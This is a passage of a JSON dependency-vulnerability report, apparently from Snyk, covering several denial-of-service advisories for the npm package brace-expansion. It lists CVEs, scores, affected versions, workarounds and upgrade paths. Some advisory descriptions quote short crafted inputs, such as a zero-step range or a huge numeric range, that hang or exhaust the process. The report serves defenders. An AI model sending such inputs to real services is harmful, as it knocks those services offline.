"2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, 